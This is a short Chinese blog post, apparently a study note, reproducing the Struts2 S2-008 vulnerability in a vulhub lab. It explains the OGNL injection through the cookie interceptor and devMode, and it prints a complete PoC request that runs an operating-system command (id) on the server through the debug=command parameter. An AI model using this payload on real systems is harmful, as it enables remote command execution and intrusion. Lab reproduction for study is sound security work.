Published in:2024-02-26 |
1
2
3
4
5
6
7
8
9
title: 漏洞复现学习(s2-008)
tags:
- 渗透测试
- 漏洞复现
- struts2
categories:
- 渗透测试
- 漏洞复现
- struts2

Struts2漏洞S2-008复现

1
2
3
原理:S2-008 涉及多个漏洞,Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较鸡肋的点就是在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,但是这种情况在生产环境中几乎不可能存在,所以还是很鸡肋。

影响版本:Struts 2.1.0 – 2.3.1

漏洞搭建

1
https://github.com/vulhub/vulhub/tree/master/struts2/s2-008

poc构建

例如?debug=command&expression=<OGNL EXP>devModemode中添加参数,OGNL表达式会直接执行,可以执行命令:

1
devmode.action?debug=command&expression=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context[%23parameters.rpsobj[0]].getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()))):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=123456789&command=id

image-20220330214444897

Prev:
xray学习
Next: